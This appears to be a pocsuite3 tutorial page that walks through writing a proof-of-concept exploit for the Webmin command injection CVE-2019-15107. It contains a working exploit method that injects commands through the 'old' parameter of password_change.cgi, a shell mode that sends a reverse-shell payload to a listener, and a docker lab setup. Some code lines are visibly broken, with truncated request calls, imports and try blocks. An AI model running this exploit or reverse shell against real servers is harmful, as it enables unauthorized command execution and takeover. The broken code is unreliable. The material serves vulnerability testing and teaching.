Skip to content

Webmin Unauthorized Remote Command Execution Vulnerability (CVE-2019-15107)

Vulnerability details: Webmin Unauthenticated Remote Execution

Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more.

An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.

PoC development

Based on the details of the vulnerability disclosed on the Internet, we can easily develop the PoC of the vulnerability. First, use the --new parameter to generate a PoC template (if you think there are too many attributes, just press enter all the way).

➜ pocsuite --new
You are about to be asked to enter information that will be used to create a poc template.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value.
Seebug ssvid (eg, 99335) [0]: 98060
PoC author (eg, Seebug) []: Seebug
Vulnerability disclosure date (eg, 2021-8-18) [2022-07-11]: 2019-08-19
Advisory URL (eg, []:
Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2019-15107
Vendor name (eg, Fortinet) []:
Product or component name (eg, FortiWeb) []: Webmin
Affected version (eg, <=6.4.0) []: <=1.920
Vendor homepage (eg, []:

0    Arbitrary File Read
1    Code Execution
2    Command Execution
3    Denial Of service
4    Information Disclosure
5    Login Bypass
6    Path Traversal
7    SQL Injection
8    SSRF
9    XSS

Vulnerability type, choose from above or provide (eg, 3) []: 2
Authentication Required (eg, yes) [no]: no
Can we get result of command (eg, yes) [no]: yes
PoC name [Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)]:
Filepath in which to save the poc [./]
[14:50:49] [INFO] Your poc has been saved in ./ :)

The generated PoC template is as follows.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# It is recommended to import from pocsuite3.api
from pocsuite3.api import (
    minimum_version_required, POCBase, register_poc, requests, logger,
    OptString, OrderedDict,
    get_listener_ip, get_listener_port, REVERSE_PAYLOAD

# Limit the framework version and avoid running new PoC plugins on the old framework

# DemoPOC class, inherited from the base class POCBase
class DemoPOC(POCBase):
    # Attribute information of PoC and vulnerability
    vulID = '98060'
    version = '1'
    author = 'Seebug'
    vulDate = '2019-08-19'
    createDate = '2022-07-11'
    updateDate = '2022-07-11'
    references = ['']
    name = 'Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)'
    appPowerLink = ''
    appName = 'Webmin'
    appVersion = '<=1.920'
    vulType = 'Command Execution'
    desc = 'Vulnerability description'
    samples = ['']
    install_requires = ['']  # PoC third party module dependency
    pocDesc = 'User manual of poc'
    # Dork for search, if the target is not provided when running PoC and this field is not empty,
    # the plugin will be loaded to retrieve the target from the cyberspace search engine
    dork = {'zoomeye': ''}
    suricata_request = ''
    suricata_response = ''

	# Define additional command line parameters for attack mode
    def _options(self):
        o = OrderedDict()
        o['cmd'] = OptString('uname -a', description='The command to execute')
        return o

	# The core method of vulnerability
    def _exploit(self, param=''):
        # Use self._check() method checks whether the target is alive and whether it is a keyword honeypot.
        if not self._check(dork=''):
            return False

        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        payload = 'a=b'
        res =, headers=headers, data=payload)
        return res.text

	# Implementation of verify mode
    def _verify(self):
        result = {}
        flag = random_str(6)
        param = f'echo {flag}'
        res = self._exploit(param)
        if res and flag in res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo'][param] = res
        # Call self.parse_output(), return the result
        return self.parse_output(result)

	# Implementation of attack mode
    def _attack(self):
        result = {}
        # self.get_option() method can obtain customized command line parameters
        param = self.get_option('cmd')
        res = self._exploit(param)
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = self.url
        result['VerifyInfo'][param] = res
        # Call self.parse_output(), return the result
        return self.parse_output(result)

	# Implementation of shell mode
    def _shell(self):
            self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
        except Exception:

# Register this PoC to the framework

Based on the above PoC template, combined with vulnerability details, rewrite _exploit() method.

def _exploit(self, param=''):
    if not self._check(dork='<title>Login to Webmin</title>'):
        return False

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Referer': f'{self.url}/session_login.cgi'
    payload = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
    res ='{self.url}/password_change.cgi', headers=headers, data=payload)
    return res.text.split('The current password is incorrect')[-1].split('</h3></center>')[0]

Preparing the vulnerable environment

Then we will set up the vulnerable environment for testing.

└─$ docker run -it --rm -p 10000:10000 pocsuite3/cve-2019-15107
+ '[' 0 -eq 0 ']'
+ service webmin start
+ touch /var/webmin/miniserv.log
+ exec tail -f /var/webmin/miniserv.log
tail: unrecognized file system type 0x794c7630 for '/var/webmin/miniserv.log'. please report this to reverting to polling

Vulnerability verification

Verify mode works fine.

The attack mode gets the command line parameters to execute and returns the result. The --options parameter can show the additional command line parameters defined by PoC.

Shell mode does not work with bash payload, so use Python instead. It should be noted that there are maybe some special characters in the payload, it needs to be analyzed in combination with the specific situation of the vulnerability, such as using base64 encoding to bypass the restriction.

     def _shell(self):
-            self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
+            self._exploit(REVERSE_PAYLOAD.PYTHON.format(get_listener_ip(), get_listener_port()))
         except Exception:

Shell mode works fine.

Released under the GPLv2 License.